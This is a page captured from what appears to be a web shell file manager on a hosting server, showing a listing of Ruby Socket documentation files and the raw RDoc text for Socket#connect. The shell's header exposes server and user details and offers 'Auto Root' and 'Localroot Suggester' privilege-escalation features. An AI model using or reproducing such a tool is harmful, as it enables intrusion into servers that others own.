Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.37
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby32 /
share /
ri /
system /
Socket /
Delete
Unzip
Name
Size
Permission
Date
Action
AncillaryData
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Constants
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Ifaddr
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
Option
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
UDPSource
[ DIR ]
drwxr-xr-x
2026-05-05 23:08
accept-i.ri
697
B
-rw-r--r--
2026-04-07 17:42
accept_loop-c.ri
804
B
-rw-r--r--
2026-04-07 17:42
accept_nonblock-i.ri
2.54
KB
-rw-r--r--
2026-04-07 17:42
bind-i.ri
5.05
KB
-rw-r--r--
2026-04-07 17:42
cdesc-Socket.ri
64.84
KB
-rw-r--r--
2026-04-07 17:42
connect-i.ri
7.07
KB
-rw-r--r--
2026-04-07 17:42
connect_nonblock-i.ri
2.11
KB
-rw-r--r--
2026-04-07 17:42
getaddrinfo-c.ri
2.03
KB
-rw-r--r--
2026-04-07 17:42
gethostbyaddr-c.ri
1.46
KB
-rw-r--r--
2026-04-07 17:42
gethostbyname-c.ri
1.32
KB
-rw-r--r--
2026-04-07 17:42
gethostname-c.ri
630
B
-rw-r--r--
2026-04-07 17:42
getifaddrs-c.ri
2.96
KB
-rw-r--r--
2026-04-07 17:42
getnameinfo-c.ri
1.35
KB
-rw-r--r--
2026-04-07 17:42
getservbyname-c.ri
768
B
-rw-r--r--
2026-04-07 17:42
getservbyport-c.ri
682
B
-rw-r--r--
2026-04-07 17:42
ip_address_list-c.ri
642
B
-rw-r--r--
2026-04-07 17:42
ipv6only%21-i.ri
347
B
-rw-r--r--
2026-04-07 17:42
listen-i.ri
4.08
KB
-rw-r--r--
2026-04-07 17:42
new-c.ri
964
B
-rw-r--r--
2026-04-07 17:42
pack_sockaddr_in-c.ri
813
B
-rw-r--r--
2026-04-07 17:42
pack_sockaddr_un-c.ri
567
B
-rw-r--r--
2026-04-07 17:42
pair-c.ri
1.14
KB
-rw-r--r--
2026-04-07 17:42
recvfrom-i.ri
6.42
KB
-rw-r--r--
2026-04-07 17:42
recvfrom_nonblock-i.ri
3.12
KB
-rw-r--r--
2026-04-07 17:42
sockaddr_in-c.ri
803
B
-rw-r--r--
2026-04-07 17:42
sockaddr_un-c.ri
557
B
-rw-r--r--
2026-04-07 17:42
socketpair-c.ri
1.16
KB
-rw-r--r--
2026-04-07 17:42
sysaccept-i.ri
1.75
KB
-rw-r--r--
2026-04-07 17:42
tcp-c.ri
1.4
KB
-rw-r--r--
2026-04-07 17:42
tcp_server_loop-c.ri
1.91
KB
-rw-r--r--
2026-04-07 17:42
tcp_server_sockets-c.ri
1.6
KB
-rw-r--r--
2026-04-07 17:42
udp_server_loop-c.ri
1.06
KB
-rw-r--r--
2026-04-07 17:42
udp_server_loop_on-c.ri
615
B
-rw-r--r--
2026-04-07 17:42
udp_server_recv-c.ri
1.06
KB
-rw-r--r--
2026-04-07 17:42
udp_server_sockets-c.ri
1.05
KB
-rw-r--r--
2026-04-07 17:42
unix-c.ri
846
B
-rw-r--r--
2026-04-07 17:42
unix_server_loop-c.ri
1.34
KB
-rw-r--r--
2026-04-07 17:42
unix_server_socket-c.ri
1.01
KB
-rw-r--r--
2026-04-07 17:42
unix_socket_abstract_name%3f-c.ri
283
B
-rw-r--r--
2026-04-07 17:42
unpack_sockaddr_in-c.ri
762
B
-rw-r--r--
2026-04-07 17:42
unpack_sockaddr_un-c.ri
628
B
-rw-r--r--
2026-04-07 17:42
Save
Rename
U:RDoc::AnyMethod[iI"connect:ETI"Socket#connect;TF:privateo:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"SRequests a connection to be made on the given +remote_sockaddr+. Returns 0 if ;TI"2successful, otherwise an exception is raised.;To:RDoc::Markup::BlankLine S:RDoc::Markup::Heading: leveli: textI"Parameter;To:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0; [o; ; [I"W+remote_sockaddr+ - the +struct+ sockaddr contained in a string or Addrinfo object;T@S;; i;I" Example:;To:RDoc::Markup::Verbatim; [ I"## Pull down Google's web page ;TI"require 'socket' ;TI"include Socket::Constants ;TI"4socket = Socket.new( AF_INET, SOCK_STREAM, 0 ) ;TI"@sockaddr = Socket.pack_sockaddr_in( 80, 'www.google.com' ) ;TI" socket.connect( sockaddr ) ;TI".socket.write( "GET / HTTP/1.0\r\n\r\n" ) ;TI"results = socket.read ;T:@format0S;; i;I"Unix-based Exceptions;To; ; [I"LOn unix-based systems the following system exceptions may be raised if ;TI"!the call to _connect_ fails:;To;;;;[o;;0; [o; ; [I"OErrno::EACCES - search permission is denied for a component of the prefix ;TI"3path or write access to the +socket+ is denied;To;;0; [o; ; [I"9Errno::EADDRINUSE - the _sockaddr_ is already in use;To;;0; [o; ; [I"OErrno::EADDRNOTAVAIL - the specified _sockaddr_ is not available from the ;TI"local machine;To;;0; [o; ; [I"OErrno::EAFNOSUPPORT - the specified _sockaddr_ is not a valid address for ;TI"1the address family of the specified +socket+;To;;0; [o; ; [I"MErrno::EALREADY - a connection is already in progress for the specified ;TI"socket;To;;0; [o; ; [I"?Errno::EBADF - the +socket+ is not a valid file descriptor;To;;0; [o; ; [I"SErrno::ECONNREFUSED - the target _sockaddr_ was not listening for connections ;TI"#refused the connection request;To;;0; [o; ; [I"EErrno::ECONNRESET - the remote host reset the connection request;To;;0; [o; ; [I"6Errno::EFAULT - the _sockaddr_ cannot be accessed;To;;0; [o; ; [I"LErrno::EHOSTUNREACH - the destination host cannot be reached (probably ;TI"Abecause the host is down or a remote router cannot reach it);To;;0; [o; ; [I"IErrno::EINPROGRESS - the O_NONBLOCK is set for the +socket+ and the ;TI"Jconnection cannot be immediately established; the connection will be ;TI"established asynchronously;To;;0; [o; ; [I"OErrno::EINTR - the attempt to establish the connection was interrupted by ;TI"Ndelivery of a signal that was caught; the connection will be established ;TI"asynchronously;To;;0; [o; ; [I"AErrno::EISCONN - the specified +socket+ is already connected;To;;0; [o; ; [I"OErrno::EINVAL - the address length used for the _sockaddr_ is not a valid ;TI"Nlength for the address family or there is an invalid family in _sockaddr_;To;;0; [o; ; [I"MErrno::ENAMETOOLONG - the pathname resolved had a length which exceeded ;TI" PATH_MAX;To;;0; [o; ; [I"PErrno::ENETDOWN - the local interface used to reach the destination is down;To;;0; [o; ; [I"<Errno::ENETUNREACH - no route to the network is present;To;;0; [o; ; [I"2Errno::ENOBUFS - no buffer space is available;To;;0; [o; ; [I"KErrno::ENOSR - there were insufficient STREAMS resources available to ;TI"complete the operation;To;;0; [o; ; [I"GErrno::ENOTSOCK - the +socket+ argument does not refer to a socket;To;;0; [o; ; [I"RErrno::EOPNOTSUPP - the calling +socket+ is listening and cannot be connected;To;;0; [o; ; [I"MErrno::EPROTOTYPE - the _sockaddr_ has a different type than the socket ;TI"(bound to the specified peer address;To;;0; [o; ; [I"MErrno::ETIMEDOUT - the attempt to connect timed out before a connection ;TI"was made.;T@o; ; [I"LOn unix-based systems if the address family of the calling +socket+ is ;TI"JAF_UNIX the follow exceptions may be raised if the call to _connect_ ;TI"fails:;To;;;;[ o;;0; [o; ; [I"MErrno::EIO - an i/o error occurred while reading from or writing to the ;TI"file system;To;;0; [o; ; [I"LErrno::ELOOP - too many symbolic links were encountered in translating ;TI"the pathname in _sockaddr_;To;;0; [o; ; [I"HErrno::ENAMETOOLLONG - a component of a pathname exceeded NAME_MAX ;TI"Ccharacters, or an entire pathname exceeded PATH_MAX characters;To;;0; [o; ; [I"PErrno::ENOENT - a component of the pathname does not name an existing file ;TI"'or the pathname is an empty string;To;;0; [o; ; [I"SErrno::ENOTDIR - a component of the path prefix of the pathname in _sockaddr_ ;TI"is not a directory;T@S;; i;I"Windows Exceptions;To; ; [I"IOn Windows systems the following system exceptions may be raised if ;TI"!the call to _connect_ fails:;To;;;;[o;;0; [o; ; [I"*Errno::ENETDOWN - the network is down;To;;0; [o; ; [I"EErrno::EADDRINUSE - the socket's local address is already in use;To;;0; [o; ; [I",Errno::EINTR - the socket was cancelled;To;;0; [o; ; [I"SErrno::EINPROGRESS - a blocking socket is in progress or the service provider ;TI"Ois still processing a callback function. Or a nonblocking connect call is ;TI"!in progress on the +socket+.;To;;0; [o; ; [I"(Errno::EALREADY - see Errno::EINVAL;To;;0; [o; ; [I"OErrno::EADDRNOTAVAIL - the remote address is not a valid address, such as ;TI".ADDR_ANY TODO check ADDRANY TO INADDR_ANY;To;;0; [o; ; [I"QErrno::EAFNOSUPPORT - addresses in the specified family cannot be used with ;TI"with this +socket+;To;;0; [o; ; [I"SErrno::ECONNREFUSED - the target _sockaddr_ was not listening for connections ;TI"#refused the connection request;To;;0; [o; ; [I"OErrno::EFAULT - the socket's internal address or address length parameter ;TI"Bis too small or is not a valid part of the user space address;To;;0; [o; ; [I"7Errno::EINVAL - the +socket+ is a listening socket;To;;0; [o; ; [I"7Errno::EISCONN - the +socket+ is already connected;To;;0; [o; ; [I"SErrno::ENETUNREACH - the network cannot be reached from this host at this time;To;;0; [o; ; [I"=Errno::EHOSTUNREACH - no route to the network is present;To;;0; [o; ; [I"2Errno::ENOBUFS - no buffer space is available;To;;0; [o; ; [I"GErrno::ENOTSOCK - the +socket+ argument does not refer to a socket;To;;0; [o; ; [I"MErrno::ETIMEDOUT - the attempt to connect timed out before a connection ;TI"was made.;To;;0; [o; ; [I"FErrno::EWOULDBLOCK - the socket is marked as nonblocking and the ;TI"/connection cannot be completed immediately;To;;0; [o; ; [I"GErrno::EACCES - the attempt to connect the datagram socket to the ;TI"broadcast address failed;T@S;; i;I"See;To;;;;[o;;0; [o; ; [I"/connect manual pages on unix-based systems;To;;0; [o; ; [I"@connect function in Microsoft's Winsock functions reference;T: @fileI"ext/socket/socket.c;T:0@omit_headings_from_table_of_contents_below0I"*socket.connect(remote_sockaddr) => 0 ;T0[ I" (p1);T@HFI"Socket;TcRDoc::NormalClass00